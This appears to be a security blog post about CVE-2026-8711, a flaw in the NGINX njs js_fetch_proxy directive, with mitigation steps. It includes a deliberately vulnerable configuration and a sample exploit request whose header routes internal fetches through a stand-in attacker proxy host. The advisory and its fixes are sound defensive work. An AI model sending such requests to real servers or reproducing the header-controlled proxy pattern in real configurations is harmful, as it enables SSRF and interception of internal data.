ekofyi
Security Research6 min read

CVE-2026-8711: Your NGINX js_fetch_proxy Is Probably an Open Proxy Right Now

CVE-2026-8711 is a high-severity NGINX JavaScript vulnerability where client-controlled variables in js_fetch_proxy turn your reverse proxy into an attacker-controlled open proxy. Here's how it works and what to do.

Your NGINX Just Became Someone Else's Proxy

If you're running NGINX with the njs module and you've configured js_fetch_proxy with any client-controlled variable — $http_*, $arg_*, $cookie_* — you might be running an open proxy right now. Not theoretically. Not in some contrived lab scenario. Right now, in production.

CVE-2026-8711 dropped with a CVSS score of 8.1 (HIGH), and it's the kind of vulnerability that makes you question how many "convenience features" in proxy configurations are actually just footguns waiting to fire. The attack surface here is deceptively simple: an attacker controls where your server sends its fetch requests.

This isn't a buffer overflow or a race condition. It's a logic flaw in how njs resolves proxy targets when user input flows into the directive. And that makes it worse, because logic flaws don't get caught by fuzzers or static analysis — they hide in plain sight in your nginx.conf.

What Happened

The vulnerability exists in NGINX JavaScript (njs) — specifically in the js_fetch_proxy directive. This directive tells njs which upstream proxy to use when JavaScript code inside NGINX makes outbound HTTP requests via the Fetch API. It's commonly used when your njs scripts need to call external services through a controlled egress path.

The problem: when js_fetch_proxy is configured using at least one NGINX variable that's derived from client input (think $http_x_proxy_target, $arg_upstream, $cookie_backend), and a location block invokes an njs function that performs a fetch, an attacker can manipulate those variables to redirect the fetch to an arbitrary destination.

The CVE affects configurations where the proxy target isn't hardcoded but is instead dynamically resolved from request data. This is a pattern I've seen in microservice gateways, API aggregation layers, and multi-tenant proxy setups where the backend is selected per-request.

Affected: NGINX njs module versions prior to the patched release (check F5's advisory for exact version boundaries — at time of writing, any njs deployment using dynamic js_fetch_proxy should be considered vulnerable).

Technical Deep-Dive: How the Attack Works

Let's look at a vulnerable configuration:

nginx
http {
    js_import main from /etc/nginx/njs/main.js;

    server {
        listen 80;

        location /api/aggregate {
            js_fetch_proxy $http_x_fetch_via;
            js_content main.aggregate;
        }
    }
}

And the corresponding njs script:

javascript
async function aggregate(r) {
    // Fetch data from an internal service
    let res = await ngx.fetch('http://internal-api.svc.local/data');
    let data = await res.json();
    r.return(200, JSON.stringify(data));
}

export default { aggregate };

The intent here is that js_fetch_proxy routes the outbound fetch through a proxy specified by the X-Fetch-Via header. Maybe it's used for environments where different tenants egress through different proxies. Seems reasonable.

Here's the exploit:

http
GET /api/aggregate HTTP/1.1
Host: target.example.com
X-Fetch-Via: http://attacker-controlled-proxy.evil:8080

When njs executes ngx.fetch('http://internal-api.svc.local/data'), it routes that request through http://attacker-controlled-proxy.evil:8080. The attacker's proxy now sees the request to your internal service. They can:

  1. Intercept internal API responses — reading data meant for internal consumption
  2. Redirect the fetch to arbitrary hosts — turning your server into an SSRF launcher
  3. Respond with malicious data — poisoning whatever your njs script does with the response

The root cause is that njs doesn't validate or restrict the resolved proxy target. There's no allowlist enforcement, no scheme restriction, no check that the resolved value points to a legitimate proxy. The variable is resolved, and whatever it contains becomes the proxy endpoint. Full stop.

This is essentially Server-Side Request Forgery (SSRF) via proxy injection. But it's worse than typical SSRF because the attacker doesn't just control where the request goes — they control the proxy through which it travels, meaning they can man-in-the-middle the entire exchange.

Impact: Who Should Be Worried

Anyone running njs with dynamic js_fetch_proxy configurations is exposed. This pattern shows up most often in:

  • Multi-tenant API gateways where proxy routing varies per customer
  • Edge compute setups where njs handles request orchestration
  • Service mesh sidecars using NGINX as a programmable proxy with outbound fetch capabilities

The blast radius is significant. An attacker can pivot from this to access internal services, exfiltrate data from backend APIs, or use your infrastructure as a launchpad for attacks against other systems. If your njs scripts fetch from internal services that don't require additional authentication (because they trust the network boundary), this is a full internal network compromise vector.

Warning: If your js_fetch_proxy uses ANY variable prefixed with $http_, $arg_, or $cookie_, assume you are vulnerable. These are all directly controlled by the client.

What To Do Right Now

Step 1: Find vulnerable configurations immediately.

bash
grep -r "js_fetch_proxy" /etc/nginx/ | grep -E '\$(http_|arg_|cookie_)'

If that returns anything, you have a problem.

Step 2: Hardcode the proxy target or use a map with an allowlist.

Replace dynamic resolution with a controlled map:

nginx
map $http_x_tenant_id $fetch_proxy {
    default         http://default-egress-proxy:3128;
    "tenant-a"      http://proxy-a.internal:3128;
    "tenant-b"      http://proxy-b.internal:3128;
}

server {
    location /api/aggregate {
        js_fetch_proxy $fetch_proxy;
        js_content main.aggregate;
    }
}

This way, even if an attacker sends a garbage X-Tenant-Id header, the map resolves to the default — never to an attacker-controlled value.

Step 3: Update njs to the patched version. Check F5's security advisory for the exact version. Apply the update even if you've mitigated via configuration — defense in depth.

Step 4: Audit your njs scripts for `ngx.fetch` calls. Every fetch is a potential SSRF if the proxy is attacker-controlled. Consider adding network policies or firewall rules that restrict where your NGINX workers can connect outbound.

bash
# Check what your nginx worker processes are connecting to
ss -tnp | grep nginx | grep ESTAB

The Bigger Picture

This CVE is a textbook example of why user input should never flow into infrastructure-level decisions without validation. We've internalized this for SQL queries, for shell commands, for file paths — but proxy targets? That's a newer attack surface that doesn't have the same muscle memory around it.

The pattern here is: any time a configuration directive accepts a variable, and that variable can be influenced by the client, you have an injection point. It doesn't matter that it's not "code execution" in the traditional sense. Controlling where a server sends its requests is just as powerful. Treat proxy targets like you treat database connection strings — never let the user pick them.

Related posts

Written by Eko

If you found this useful, follow @ekofyi on X for more notes like this — or get in touch if you have a problem to solve.